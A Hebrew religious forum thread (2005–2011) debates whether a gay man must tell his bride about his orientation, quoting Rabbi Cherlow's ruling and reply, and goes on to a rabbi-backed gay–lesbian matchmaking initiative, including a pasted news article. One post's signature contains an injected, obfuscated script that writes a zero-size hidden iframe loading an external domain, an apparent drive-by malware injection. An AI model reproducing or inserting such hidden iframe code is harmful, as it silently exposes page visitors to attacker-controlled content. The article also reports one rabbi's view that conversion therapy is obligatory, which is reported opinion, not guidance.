| נשלח ב-28/2/2005 15:38 |
|
| |
האם הומוסקסואל צריך לגלות לאשתו (הרב שרלו)
הנושא של הומוסקסואליות הוא נושא טעון מאד, וכבר כתבו עליו בפורום. הבעייתיות המיוחדת נובעת מכך שהומוסקסואלים טוענים שהם אנוסים בדבר, וזו תופעה טבעית - ואילו התורה אוסרת על הדבר מכל וכל, ומקצה לכך את העונשים החמורים ביותר.
הנושא כאן הוא מצומצם יותר. מה יעשה הומוסקסואל המבקש לנהל חיים נורמליים במידת האפשר, שנלחם ביצרו ומתגבר עליו. האם מותר לו לשאת אשה בלי לספר לה על סודו הכואב?
לפני זמן מה דן הרב שרלו בנושא זה. הוא הורה להומוסקסואל שביקש להינשא נישואים רגילים שעליו לשתף את הכלה לעתיד בסודו. הטעם הברור היה שהעלמת האמת תהיה הונאה. פרטים נוספים יתבארו לקמן. (מי שיודע את הלינק לתשובת הרב שרלו, אודה לו אם יפרסמנה כאן).
קיבלתי את המכתב הבא בתיבה האישית מאחד מהמבקרים בפורום. הוא ביקש לפרסם עבורו את הדברים כיון שלא רצה להזדהות בתור שכזה. עם זאת, הדברים מדברים בעד עצמם. מדובר בנושא קשה וכואב.
המכתב בנוי משני חלקים. השאלה שנכתבה אל הרב שרלו כדי לערער על פסיקתו, ותשובת הרב.
ואלו הם הדברים:
***
לכ' הרב יובל שרלו הי''ו
שלום וברכה.
כבר מספר שבועות שאני מרגיש חובה מוסרית לכתוב לכבודו.
אני בחור הומוסקסואל. לפי משפר שנים נישאתי לבחירת ליבי. ולא, לא סיפרתי לה על הנטיות שלי. ומאז, ברוך השם. אני חי חיים יהודיים מלאי טהרה וקדושה. למרות שבסודי סודות אני לא מסופק מינית. אך אני יודע שיש לי סדרי עדיפויות בחיים. ולמרות שהקדוש ברוך הוא העמיד אותי בניסיון קשה מנשוא. אני משתדל לעמוד בו מידי יום. ובעזרתו יהיה לי כוח לעמוד בו לנצח. עד לרגע זה לא סיפרתי לאשתי, (ולא, היא לא סובלת...) יתכן שביום מן הימים אספר, ויתכן שלא...
כבודו נוהג לפסוק להומואים להודיע לחברותיהן לפני האירוסים על נטיותיהם. לדעתי מדובר בפסק חמור ומוטעה. פסק שגורם לזוגות רבים להפרד, להומואים רבים לשקוע במצולות החטא, ולמשפחות רבות להתפרק עוד לפני שהתחילו את חייהם המשותפים.
באם הייתי נוהג כפי שהרב מייעץ. אין כל ספק שהייתי שקוע עד רגע זה בגיא הצלמוות של החטא. עובד על עבירות דאוריתא של יהרג ובל יעבור. מתוסכל דתית, פסיכולוגית ומינית. והכל על כתפיו של כבודו.
יתירה מכך, לפי שיטתו של הרב, על כל סטרייט דתי להודיע לארוסתו על כל הפנטזיות הימניות שיש לו. על סטיות שעלו אי פעם במוחו, ועל הרהורי עבירה שמקננים בו הנודעים לנשים אחרות או לכל עברה אחרת.
יטען כבוד הרב שהניסיון מוכיח שישנם הומואים נשואים רבים שלא הצליחו לשלוט על יצרם לאורך זמן. ואי לכך מדובר בנישואין של מקח טעות. אך לדעתי מדובר בהשקפה מעוותת, שאומנם נגועה בקרב החברה המערבית אך אין לה מקום אצל אדם הגדל על ערכים יהודיים. הרי אין ספק שגם ישנם זוגות רגילים שהתפרקו כי הבעל (או האשה) לא הצליחו לשלוט על יצריהם ובגדו, נאפו או עברו על איסורים כאלה או אחרים. האם לכן נאסור על גברים שיש להם יצר מיני פעיל להינשא, עד שיפרטו באוזני חברותיהם את רמות ההורמונים והתשוקות שלהם? אז מה ההבדל? השוני הוא שהחברה המערבית המודרנית מחלקת בין הומואים לבין שאר האוכלוסייה, וטוענת שהנטייה ההומוסקסואלית היא נטייה שלא ניתן להתגבר עליה. (ועל האדם לממש אותה) באם תזה זו נכונה, הרי הומו היוצר קשר נישואין עם נערה, נכנס מראש למסלול שאין לו סיכוי לצאת ממנו. ובמילים אחרות – מפיל אותה בפח. אך יהודי שיודע שיש איסור תורה מפורש על משכב זכר. יודע ומבין שמדובר בניסיון מהקב''ה ושעל האדם להתגבר עליו. ולמרות שמדובר בניסיון קשה. הרי אין חילוק בינו לבין שאר הניסיונות של עריות. ועל כולם יש לאדם את הכוח והעוצמה להתגבר. וכפי שאין שום לגיטימציה להתיר את הרסן ולהרים ידיים. כך אין לכבוד הרב את הזכות לבודד את הניסיון הזה, לטעון מראש שהסיכויים להתגבר עליו קטנים. ולהציב מכשלות בפני נערים שרוצים להתגבר על יצרם, וזקוקים לאישה שתעזור להם במאבק החיים שלהם.
יתירה מכך, לפי חז''ל, חלק גדול ממשמעות הנישואין והחובה להינשא, היא לשמור על אדם שלא יחטא, ולעזור במאבק מול יצר העריות. מגיע כבוד הרב וטוען שלאנשים שיש ניסיון קשה יותר מאדם רגיל, אין את הפריבילגיה להינשא ולהוריד חלק (קטן?) מקושי הניסיון.
כבודו טוען ש:
א. אין שום יסוד להניח שאחרי החתונה זה יסתדר. להפך, אני נחשף באתר זה למקרים הולכים וגוברים של מגמה הפוכה – משפחות שניבנו על בסיס הנחה זו, וזה החזיק מעמד כמה שנים, אך הן מתפרקות בכאב גדול לזוג ולילדים.
ישנם גם זוגות רבים של סטרייטים שהתפרקו מכל מיני סיבות. ולאורך ההיסטוריה היו עשרה אחוז של זוגות שאחד מהם היה הומו, ורובם המוחלט החזיק מעמד למרות הקושי הגדול .
ב. יסוד התורה על פי הלל הזקן הוא ''מה ששנוי עליך אל תעשה לחברך'', ולדברי רבי עקיבא הכלל הגדול בתורה הוא ''ואהבת לרעך כמוך''. נישואין של בחור או בחורה ללא הימשכות לבני הזוג, בתפיסה שאחר הנישואין זה יסתדר מנוגדים למהות התורה – שווה בנשפך שזה היה להפך והדבר היה נעשה כלפיך ?
זוגות שכל חייהם המשותפים מבוססים על מין נתקלים בבעיה הזו. התפיסה ההלכתית הרואה את המין כמצווה וכמעשה קדושה בין בני הזוג, יכולה לאפשר גם זיווג ללא תשוקה מטריפת חושים.
יתירה מכך, לפי טיעון זה על גבר שאשתו השמינה, הזדקנה או התכערה – להתגרש!
ג. ''מדבר שקר תרחק'' – קשה למצוא שקר גדול יותר מהתנהגות זו.
בטענה זו יש שמץ של אמת. אך אם נציב את כל השיקולים הכבדים על הכף האחרת. היא לא תכריע? והאם באמת חובה על בחור סטרייט שמתחתן עם בחורה שאינה יפיהפיה להודיע לה שהוא נמשך ליפות ממנה?
ד. על אף העובדה שאין אנו מתירים נישואין ללא גט על סמך מקח טעות בלבד, מבחינה הלכתית אמיתית קידושין אלה כלל אינם תופסים, ואין מקח טעות גדול מזה.
ראה תשובה ב'
ה. אתה לא רשאי, מבחינה מוסרית טבעית, לפתור את הבעיות של עצמך, שהן באמת קשות מנשוא, על חשבון הבחורה.
בראיה התורנית, כפי שאני רואה אותה. האשה היא עזר כנגדו. וחלק מתפקידה לעזור לגבר (ולהפך) בהתמודדות עם קשיים ונסיונות.
ו. לא ייתכן לחיות עם בן זוג עם סוד מוסתר כל כך. מהות הנישואין היא הורדת המסיכות ולא לבישתן.
כן יתכן. מדובר בבעיה אישית שביני לבין הקב''ה. ואני יכול אם רוצני בכך, והשאיר אותה בליבי. למרות שאני מסכים עם כבודו, שאם נגיע יום אחד, אני ואשתי למצב שבו אני אוכל לספר לה – הזוגיות שלנו תהיה הרבה יותר טובה.
לדעתי כבוד הרב לא יכול לקחת אחריות על פסיקה כל כך משמעותית שחיי כל כך הרבה אנשים תלויים בה. ובוודאי לא באופן ברוך וחד משמעי.
***
תשובת הרב
שלום וברכה
אני מודה לך על מכתבך, שחייב אותי לבחון מחדש את נקודות ההנחה שלי. בחנתי אותם במשך זמן רב, תוך היוועצות ודיון, ובוודאי שלמכתבך היה משקל מאוד גדול במבחן זה. באופן טבעי, מכתבך מספר סיפור אחד מני רבים שהצליח. אני פגשתי והדרכתי סיפורים מני רבים שהביאו למשבר מאוד גדול. אמת הדבר שאנו עוסקים במצבי ספק, ויהיה נכון לומר שלפעמים זה מצליח ולפעמים לא. ברם, נדרשת הכרעה במצבי ספק, וכשהיא נתבעת בוודאי שהיא פוגעת לעיתים באלה שהדברים אינם נוגעים להם. אף על פי כן, אנו נאלצים לקבל החלטות במצבים אלה.
השאלה העיקרית העומדת על הפרק היא הפגיעה בבחורה. על כן, שאלה הפנטזיות וכדו' אינן ממין העניין. השאלה היא האם מותר לגרור בחורה להרפתקאה שמבחינתה יכולה להסתיים באסון. הנושא אינו נוגע לשאלה האם הבחור יוכל לעמוד ביצרו, ולא אלו היו נימוקי. דברים שכתבת על עמידה בניסיון טובים ונכונים הם, וראויים לכל העומדים בניסיון מכל סוג שהוא. השאלה היא האם הוא יוכל להביא את אשתו לידי סיפוק. על כן, הנימוקים שהבאת בדבר יכולתו לעמוד בניסיון אינם רלוונטיים לנושא בו אני דן, על אף שהם מרשימים מאוד.
אין לאף אחד ידע על מספר המשפחות שלא החזיקו מעמד כאשר הן הוקמו על בסיס הסתרת המידע הזה, והיותה של האישה בלתי מסופקת ופגועה בשל אי ידיעתה. אני נחשפתי ליותר מידי – לא רק באתר, אלא גם בפגישות שהיו לאחר פניה באתר.
התפיסה ההלכתית הרואה את המין כמצווה וכמעשה קדושה בין בני הזוג, יכולה לאפשר גם זיווג ללא תשוקה מטריפת חושים, אך כל זה רק אם הבחורה הסכימה לכך מראש. אם לא – אין לך רשות לכפות עליה חיים שכאלה. על כן גם אין קשר לשאלת הזקינה או התכערה, כיוון שזה חלק מהברית שהם כרתו ביושר בשעה שהקימו את ביתם – לקבל מראש גם את השינויים בין בני הזוג. ברם, הם לא כרתו ברית לקבל את מה שבן הזוג הסתיר.
תפקידה של האישה לעזור לגבר ולהפך, רק בשעה שהיא קיבלה על עצמה תפקידים אלה ביודעה את הנתונים העיקריים (וכן להפך). אסור לכפות עליה.
אסיים במילים דומות לשלך. לדעתי אתה לא יכול לקחת אחריות על פסיקה כל כך משמעותית שחיי כל כך הרבה אנשים תלויים בה, ובוודאי לא באופן ברוך וחד משמעי, כאשר נקודת המבט שלך היא הגבר בלבד ויכולתו להתגבר על עצמו (דבר שהוא כמובן מבורך מאוד ומעורר התפעלות) ואתה מתעלם מבחירתה החופשית של האישה.
כל טוב, ומצא שלום.
שומר פיו ולשונו
שומר מצרות נפשו
*****
איות בכותרת
תוקן על ידי עצכח ב- 20/04/2007 19:18:47
 |
|
|
|
|
| נשלח ב-24/8/2011 17:49 |
|
| |
האם ניתן יהיה להתיר אישה מבעלה,בכה"ג שלא גילה על נטייתו ולומר שזה מקח טעות,והקידושין לא חלים.
כמדומני שיש ע"ז תשובה באגרות משה בענין.
|
|
|
|
| נשלח ב-24/8/2011 13:35 |
|
| |
מיימוני, א. זה די קל בהודעה שאצטט בעוד רגע יש כמה וכמה דוגמאות לכך : "בעבור איזו פרקטיקה זה הגיוני? כדי לקבץ יחד, במכלאה אחת, את כל מי שהוא לא אני? (מה הקשר לנושא ? חוץ מזה שהיא מניחה ששני בני זוג שבוחאים להתחתן על רקע כזה, מוכנסים למכלאה ?) כדי להסתיר את זהותם של האנשים האלה בתחפושת של "כמו כולם"? (כנ"ל) אולי דווקא כדי להקים עוד משפחות בהם אין אהבה, חברות ושותפות אמיתית? (הכי כנ"ל) " ב. בדיוק על זה אני מדבר, אם היא היתה מגדירה השקפת עולם, ואומרת לפי השקפת עולמי בני זוג (אך לא נמשכים מינית) שבחרו לבנות משפחה יחד , זה לא בסדר בעיני כי X Y Z , היה אפשר לדון אם היא צודקת ועד כמה. אבל היא מלבישה כבר תסריט בלהות שלם לסיפור, בו השנים נכנסים למכלאה, לא אוהבים מתחפשים ועוד כהנה וכהנה. (עיין בעצמך בטקסט) וכנגד זה הערתי. (כי על "תוכן" כזה א"א באמת להגיב, חוץ מלקבל או לא את תסריט האימים הזה כמייצג את המצב הנידון.)
|
|
|
|
| נשלח ב-24/8/2011 13:07 |
|
| |
איש ציפור
כמדומה שאני ניצב מהצד השני מול עמדותיה של אמשלום, אבל הביקורת שלך לא מובנת לי. משתי סיבות.
א. האם תוכל להצביע ולהעתיק את שני המשפטים שבהם יש מעגל לוגי, המשפט שהוצג כהנחת יסוד בסתר והמשפט שנגזר ממנו בקול תרועה, כפי שהבנתי מדבריך?
ב. פעמים רבות בניתוח פילוסופי אנו מניחים את המבוקש על ידי קבלה של מערכת אמונות. לפעמים משום זה הנתון, לפעמים משום שזו האינטואיציה שלנו. ועוד. ואחר כך אנו מנתחים ומגלים את מה שאולי היה רצוי לנו. זו לא הוכחה במובן החזק, אבל זה עדיין הליך פילוסופי. האם לא זה מה שנעשה כאן לדבריך?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
|
|
|
|
| נשלח ב-24/8/2011 11:32 |
|
| |
אמשלום, כמקובל בנושא הזה (ובעוד נושאים בהם יש דעות אוטומטיות) את מניחה את המבוקש, ובאורח פלא מגיעה למסקנותיך. (שהונחו מראש) לא יודע מה זה כן, אבל מה זה לא אני יודע. זה לא רציני.
|
|
|
|
| נשלח ב-24/8/2011 08:07 |
|
| |
הרב שרלו מסביר את תמיכתו במיזם הנישואין הנ"ל
ולטובת מי שלא יכול לפתוח לינקים מאתר וינט:
מדוע תמכתי בנישואי הומו ולסבית
"הנישואים הללו הם הצעה שמאפשרת אושר למי שסובר כי זו דרכו להיות מאושר, אבל בוודאי שלא מדובר בפיתרון כולל" הרב יובל שרלו *******>var agt=navigator.userAgent.toLowerCase();var is_major = parseInt(navigator.appVersion);var is_ie = ((agt.indexOf("msie") != -1) && (agt.indexOf("opera") == -1));var is_ie5 = (is_ie && (is_major == 4) && (agt.indexOf("msie 5.0")!=-1) );
function txt_link(type,url,urlAtts) {
switch (type){
case 'external' :
if( urlAtts != '' ) {var x = window.open(unescape(url),'newWin',urlAtts)} else {document.location = unescape(url);}
break;
case 'article' :
urlStr = '/articles/0,7340,L-to_replace,00.html';url=urlStr.replace('to_replace',url);
if( urlAtts == '' || !urlAtts) {document.location = url;} else {var x = window.open(url,'newWin',urlAtts)}
break;
case 'yaan' :
urlStr = '/yaan/0,7340,L-to_replace,00.html';url=urlStr.replace('to_replace',url);
if( urlAtts == '' || !urlAtts) {document.location = url;} else {var x = window.open(url,'newWin',urlAtts)}
break;
case 'category' :
urlStr = '/home/0,7340,L-to_replace,00.html'; url=urlStr.replace('to_replace',url);
if( urlAtts == '' || !urlAtts) {document.location = url;} else {var x = window.open(url,'newWin',urlAtts)}
break;
}
}
function setDbLinkCategory(url) {eval(unescape(url));}> ההתמודדות עם נושא מורכב כחייהם של הומוסקסואלים ולסביות אינה יכולה להיעשות בהכללות. לא מדובר על ''הם'', מדובר על בני אדם - וככל בני אדם, יש דברים שמתאימים לאלה ויש דברים שמתאימים לאלה. כל ניסיון לעשות הכללה ולטעון דבר מה הוא-הוא ה''פיתרון'' הנכון אינה נכונה.
הדבר נכון לגבי הטענות ש''הם לא ימצאו אהבה'', שזה כן טוב לילדים שלהם או שזה לא טוב לילדים שלהם, שעליהם להינשא או לדאוג להעצמה גברית וכויוצא באלו. כל הכללה אינה נכונה לבני אדם בכלל, ובוודאי שלא נכונה במציאות המסובכת הזו.
אני איני תומך אפוא בשום פיתרון כללי. כמו כל בני אדם - צריך לתפור בעדינות וברגישות ''חליפה'' שונה לכל בחור ובחורה המוצאים את עצמם במציאות מסובכת מעין זו. לו היה אפשר להתהפך, אני מניח כי כמעט כל אלה שחשים שאינם יכולים לקיים את ''ודבק באשתו'' היו הולכים לשינוי זה. אלא שהמציאות מלמדת כי אפשרות זו נעולה בפני רוב מוחלט של בעלי הנטייה ההפוכה, והיא מתאימה כנראה רק לחלק מהם. על כן, ההצעה ''שהם ילכו לטיפול ויחזרו להיות נורמלים'' אינה רלוונטית, אלא לאותה קבוצה מסוימת שהטיפול יועיל לה.
הכל פתוחעל כן, מה שאני תומך בו הוא לפתוח את האפשרויות השונות. בין אלו נמנית גם האופציה לנישואין בין הומואים ללסביות. זה בוודאי לא פיתרון לכולם, ואיני חושב שאפילו לרובם - יש לזה בוודאי חסרונות רבים, כמו לכל הצעה אחרת, אך יש בה גם יתרונות.
הנישואים הללו הם הצעה שמאפשרת אושר למי שסובר כי זו דרכו להיות מאושר. היא אינה טובה למי שאינו סבור שכך הוא רוצה לחיות. לו ההצעה הזו הייתה מוצגת כהצעה האולטימטיבית היחידה הפתוחה בפני בחורים ובחורות - הייתי מתנגד לה, גם לאור דבריי למעלה על ההכללות, וגם בשל העובדה שהדבר בוודאי אינו נכון. אולם בשל העובדה שהיא מוצעת כאחד הפתרונות למי שחפץ לבחור בדרך זו - אני רואה בה חשיבות עליונה. מניסיוני ראיתי שחלק מאוד מחפשים את הדרך הזו.
ככל הידוע לי, יש כמה ארגונים שמציעים זוגיות מעין זו, וטוב שאין מקום אחד בלבד, אלא מערכות רבות ומגוונות.
יש להיזהר ממשפטים כמו ''אין אהבה שום דבר שיכול להיות בין הבעל והאישה''. ישנה חשיבות עילאית לקשר הגופני בין בעל ואישה, אולם בשום אופן אין לומר כי אם ההנאה מהקשר הגופני לא קיימת - לא יכול להתרחש שום דבר בין בעל ואישה, ואין האהבה נמצאת במשכנם. ושוב, מדובר בבני אדם. לא ב''הם''.
 |
|
|
|
|
|
| נשלח ב-23/8/2011 20:01 |
|
| |
|
|
|
|
| נשלח ב-23/8/2011 15:27 |
|
| |
| צענערענע כתב: |  | האינטרנט המסונן לא מאפשר את וינט אבל מאפשר את עצכ"ח?
עולם הפוך ראיתי  |
|
אכן, עולם מטופש.
פורום עצכ"ח צריך לצאת מבחדרי חרדים מהר ככל האפשר.
ובעיקר כדי שלא יצטרכו הגולשים האינטליגנטיים לעבור את החדשות השטחיות שבראש הדף.....
|
|
|
|
| נשלח ב-23/8/2011 15:18 |
|
| |
האינטרנט המסונן לא מאפשר את וינט אבל מאפשר את עצכ"ח? עולם הפוך ראיתי 
|
|
|
|
| נשלח ב-23/8/2011 15:13 |
|
| |
מיימוני תודה על ההעתקה. כי האינטרנט שלי מסונן ואינו פותח את וינט. ונאי מבקש שכן יעשו בכל לינקים כאלו.
|
|
|
|
| נשלח ב-23/8/2011 10:22 |
|
| |
|
|
|
|
| נשלח ב-23/8/2011 09:54 |
|
| |
אני סבור שלפני שדנים לשלול או לחייב צריך לזכור כמה נקודות:
א. אם אין פתרונות טובים אז לפעמים יש פתרונות שהם הכי טובים שאפשר.
ב. האם תמיד מתחתנים מאהבה?
נראה שיש לחלק בין התאהבות שהיא משיכה מיידית לבין אהבה שנבנית משך השנים ויכולה לעלות - או לרדת.
ג. מי האוכלוסיה שתצטרף? יש אדם שיאמר: אני בעל בעיה זו וזו, אני מחפש פתרון בתוך ההלכה, אני מבין מה מציעים לי. לא בטוח שאוכל להעניק לאשתי מה שכל גבר מעניק לאשתו. אעשה את המכסימום. הבה נגדיר מראש מה יהיה לנו. וכך לגבי בת הזוג.
אני סבור שההצעה יכולה להיות מאד טובה למי שרואה את עצמו כמו שראיתי לפני כמה שנים בלינק של אגודה של בעלי הבעיה שגם רוצים להיות שומרי מצוות. אם הם לא רוצים להיכשל בעבירה (בלי להיכנס לשאלה אם זו עבירה ומדוע) אז זה פתרון שיכול לעבוד.
ושוב: איני דן בכפיה, וגם לא בשאלה אם יש כאן קבוצה שכופה את ערכיה על הפרט. רק בשאלה אם זה פתרון יעיל. ראו סעיף 1.
בני אדם מכילים סתירות. זו סתירה גדולה וכואבת בין מה שהטבע לכאורה אומר לבין מה שהערכים התורניים קובעים. אם אין אנו משנים את הערכים שלנו (כאן אני במחנה השולל וכבר היו דיונים על זה ולא זה הנושא כמדומה) אז זה יכול להועיל כפי שהתרשמתי. והכל תלוי באיך זה ייעשה בפועל, וגם אז צריך נסיון מעשי לראות איך זה מתקדם במשך השנים.
וכמובן צריך סודיות מוחלטת. במיוחד עבור הילדים.
אולי כרקע נוסף: בהקשר כלשהו נודע לי על סיפור של אדם שביקש למצוא בת זוג ש"רוצה כמה שפחות" יחסי אישות. הוא בוודאי לא היה אדם בריא. לא היה ברור לי בשעתו אם הוא התפתח כך עקב תנאים משפחתיים (חוסר חום והקרנה של הסתייגות מכל מגע), נטיה אישית (לא מודעת) לצד השני (לא היה כמעט שום בסיס להנחה כזו) או גורמים אחרים שלא ידועים לי, או שהכל תרם (וכך מסתבר). לא מדובר כאן בבעיה מהסוג שמתואר באשכול ובלינקים האחרונים. כן מדובר בבעיה אישית לא קלה של אדם שמודע ברמה כלשהי לכך שלא יוכל לבנות מערכת יחסים "נורמלית" עם אשתו ומראש מחפש בת זוג שדומה לו בדרישותיה או בהעדרן.
זכורני שראיתי פעם סיפור מעניין של הבן איש חי. מעשה באב שהיו לו שלוש בנות עם מידות רעות. הוא הצליח להשיא אותן לבעלים שתנאי חייהם עקפו את הבעיות, כמו בזבזנות ועצלנות. זה לא הועיל לאשה שהיתה למודה להוציא שם רע וכמובן זה המסר החינוכי של הסיפור (לכל יש תרופה חוץ מלשון הרע). אבל לפי דרכנו אפשר היה ללמוד איך הצטייר לרב על סף התקופה המודרנית פתרון לבעיות של מידות ואישיות: למצוא מסגרת שבה הבעיה לא תבלוט.
*** תוקן ניסוח לא ברור ***
_________________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");>
תוקן על ידי מיימוני ב- 23/08/2011 09:55:18
 |
|
|
|
|
| נשלח ב-23/8/2011 09:45 |
|
| |
קודם כל אני מעתיק את החומר לכאן. דברים הולכים לאיבוד לאחר זמן, אם גם אפשר לנחש את התוכן מן הדיון.
באישור הרבנים: שידוכים בין הומואים ללסביות מיזם אינטרנטי חדש, שהוקם בתמיכת שורת רבנים מובילים בציונות הדתית, מציע לשדך בין הומואים ללסביות דתיים. "יש בכך היבטים בעייתיים", אומר היוזם, הרב ארל'ה הראל, "אך בנישואים האלה יש יתרונות אנושיים והלכתיים" איתמר מרילוס עד לשנים האחרונות צירוף המילים "הומוסקסואל" ו"דתי" היה בלתי-אפשרי. סתירה לוגית. אבל מאבקם של הארגונים ההומו-לסביים הוציא אותם מארון הקודש, והוביל חלק מהרבנים למצוא דרכים יצירתיות להתייחס ל"בעיה". אחד הפתרונות המוצעים - שעשוי לעורר מחלוקת בציבור הרחב - זכה למרבה ההפתעה לתמיכה כמעט מקיר לקיר בקרב רבני הציונות הדתית: נישואים בין הומואים ולסביות. עוד על הומואים בחברה הדתית: מיזם אינטרנטי חדש, שיעלה באתר ההומואים הדתיים "כמוך", מציע לשדך בין הומוסקסואלים דתיים לבין לסביות דתיות למטרת נישואים והקמת משפחה. היוזם הוא הרב ארלה הראל, לשעבר ראש ישיבת ההסדר בשילה ומגשר בהכשרתו, ומאחוריו ניצבת שורה מכובדת של רבנים תומכים - בהם: הרב יעקב אריאל, הרב חיים דרוקמן, הרב מנחם בורשטין, הרב יובל שרלו, הרב אליקים לבנון, הרב רא"ם הכהן ואחרים הרב הראל, שכבר שידך 12 זוגות הומו-לסביים דתיים, נרתם להעניק מניסיונו במיזם שהושק תחת השם "אנחנו". מזה מספר שבועות יכולים הומואים ולסביות דתיים ליצור קשר באתר עם שדכנים שונים, ובראשם הרב הראל. חלק מההומאים לא יכולים להשתנות הפנייה היא דיסקרטית, ולאחריה מתבצעת פגישה עם המועמד, שמטרתה היא, כפי שהרב הראל הגדיר | נטייה מינית |
| | זה לא טוטאלי / הרב ארלה הראל |
| "יש הומואים דתיים, זו עובדה. יש גם שכנראה יישארו כאלה לעולם. זה לא סותר את העובדה שאפשר לנסות להשתנות" | | לכתבה המלאה |
| | | בשיחה עם ynet, "לסנן מועמדים לא ראויים, ולהכיר את המועמד". אם המועמד עובר את מבחן הסינון, הוא משלם תשלום חד-פעמי בסך 150 שקל, ולאחר מכן מותאמת לו בת זוג רלוונטית. לאורך כל התהליך, מלוּוים הצדדים באנשי מקצוע מתחומי בריאות הנפש. "ישנם היבטים רבים בעייתיים בכל המיזם הזה", מודה הרב הראל, "אך הנחת היסוד המניעה אותו היא שברור כמעט לכל הרבנים היום, בהתבסס על הספרות המחקרית ואנשי המקצוע, שיש חלק מסוים מן ההומואים והלסביות שלא מצליחים להשתנות, והמיזם הזה נועד לסייע להם". למרות זאת, גם הרב הראל סבור שעל כל הומו ולסבית דתיים מוטלת החובה הדתית לנסות לעבור טיפולי הסבה. "רק אם הטיפול לא מצליח, ניתן לפנות לאתר כדי למצוא שידוך הולם". כרוניקה של בגידה ידועה מראש לרב הראל ביקורת גם כלפי חלק מהארגונים ההומו-לסביים הדתיים שטוענים כי על החברה הדתית | דעה |
| | אלוהים שונא הומואים? / אסף וול |
| האם הומוסקסואליות היא סטייה או תועבה? האם לא ניתן לקבל את חברי הקהילה למגזר הדתי? אסף וול מפריך 10 מיתוסים | | לכתבה המלאה |
| | | להכיר לכתחילה בבחירתם של חד-מיניים לחיות עם בני מינם. "אין רב שמוכן לחתום על הקמת בית הומוסקסואלי או לסבי לכתחילה", הוא אומר, "מעבר לאיסור ההלכתי שבדבר, זוהי מחשבה תמימה לחשוב שהזוגות הללו לא יקיימו יחסי מין". הרב הראל מציין שתי סיבות משמעותיות המניעות את רבני הציונות הדתית לתמוך במיזם: "הסיבה הראשונה היא אנושית, והשנייה היא הלכתית. מבחינה אנושית-מוסרית, בניגוד לקשר שבו רק אחד מן הצדדים הצדדים בעל נטייה מינית הומוסקסואלית, בקשר שאנו מציעים שני בני הזוג מודעים מראש שהתא המשפחתי חסר. המודעות הזו מראש גורמת לכך שהציפיות לא תהיינה בשמיים. יש אפשרות מראש שבני הזוג יאפשרו זה לזה לקיים יחסי מין מחוץ לנישואים עם בני מינם, מה שמוריד את האפשרות של בגידה - משום שהצדדים מודעים לכך. העבירה היא, אם כך, רק בין האדם לבוראו ולא בין האיש והאיש. כמובן האפשרות הטובה ביותר היא שיבחרו להתגבר על יצרם ולא לבחור באפשרות הזאת". בכל הנוגע לסוגיה ההלכתית יש בשידוך הומואים ולסביות פתרון חלקי. קיום יחסים עם בני אותו המין מחוץ לנישואין, אסור כמובן, אך אינו יוצר משמעויות הלכתיות בלתי הפיכות המשליכות על חיי הזוגיות. ומה עם הילדים?הקושי העיקרי כמובן הוא סביב חיי המשפחה וההחלטה להביא ילדים. אם בקשר בין בני הזוג שני הצדדים בוחרים לקחת אחריות על עצמם ולהקים בית שבו אין משיכה פיזית ורומנטית, הרי שעל הילדים עצמם נכפה מצב שבו הזוגיות של ההורים בעייתית מאוד מלכתחילה. סוגיות כמו "האם לספר לילדים על הנטייה המינית של ההורים" או "החשש שהילדים יפתחו אף הם נטייה הומו-לסבית" הם סוגיות שעדיין אין להם תשובה מוחלטת, משום שהילדים שכבר נולדו עדיין לא הגיעו לגיל בו ניתן לתת מענה לשאלות הללו. "שני זוגות מתוך ה-12 ששידכתי עד היום התגרשו", מודה הרב הראל, "אבל לצד זה ישנם סיפורי הצלחה מבין הזוגות הללו. באחד המקרים למשל, האישה חלתה במחלה קשה והבחור סעד אותה במשך שנה בבית החולים במסירות מופלאה. בשני מקרים אחרים, בני הזוג לאחר החתונה החלו ליהנות בהדרגה מקיום יחסי המין". האם המיזם מבשר על מהפכה של ממש בחברה הדתית? כן ולא. כפי שמצוין באתר, המיזם פונה אל מיעוט שולי יחסית, כאלו שזהותם המינית גובשה ובנוסף הם בחרו בקיום תורה ומצוות קפדני. המיזם לא פונה אל דתיים המתקשים לוותר על חיים גלויים לצד בן זוג מאותו המין, כמו גם אל דתיים שזהותם המינית טרם גובשה. ובכל זאת, המצדדים טוענים כי מדובר בניסיון המשמעותי ביותר שיצא מן העולם הציוני-דתי לתת מענה (גם אם חלקי) אל מי שנקלעו לסיטואציה בלתי אפשרית, שבה זהותם המינית מתנגשת באופן חזיתי בזהותם הדתית.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
 |
|
|
|
|
| נשלח ב-23/8/2011 06:26 |
|
| |
[אליס,
א. אני לא חושבת שזה פותר אף בעיה אמיתית. כאמור, רמייה עצמית ו"התחפשות" (הידועה יותר בשמה בהקשר זה - חיים בארון) הן כלי ידוע להתמודדות עם היות אדם בעל זהות שונה (וקיימות אולי מאז "הומצאו" החיים החברתיים...).
ב. כפי שכתבתי - אין לי בעיה עם חשיפת מוגבלותם של מוסדות, באמצעות שימוש פרדוכסלי בהם, עד כדי זילות בוטה שלהם (ובכלל זה, גם מוסד הנישואין). הערתי בעניין הייתה לגבי הרבנים המשתפים עם זה פעולה - עליהם אני תמהה.
אולי זה פשוט עניין של טען אישי - בעיניי, אם כבר רוצים לגלות את ערוותו של מבנה מיושן שאבד עליו הכלח, למה לא לעשות זאת בסוג של הומור עצמי ומתוך שאיפה אמיתית לתיקון העולם, כמו למשל (במקרה הספציפי הזה) - לחתן שני גברים או שתי נשים?
(נא לא לנסות ולמכור כאן את המרכולת העבשה של "זה לא הלכתי". רבנים - גם בני ימינו - הוכיחו כבר מזמן, שאם יש רצון לתקן את ההלכה מתוך עצמה, אז גם היכולת לכך מתגלה מאליה).]
|
|
|
|
| נשלח ב-23/8/2011 02:27 |
|
| |
א. חשבו על זה מזמן. ב. זה פות לכל הפחות חלק מהבעיות.
אמשלום, זו אולי רמיה של מוסד הנישואין, אך מה אכפת לך?
מדובר בבודדים שלמרות מוגבלותם חשובה להם בניית תא משפחתי שידמה חיצונית ככל האפשר לתא משפחתי נורמאלי. אל נא תהי עינך צרה בם.
|
|
|
|
| נשלח ב-22/8/2011 16:59 |
|
| |
לפי דבריך מצאנו פתרון כולל לבעיית החד מיניות .נישואין! איך לא חשבו על זה קודם?
|
|
|
|
|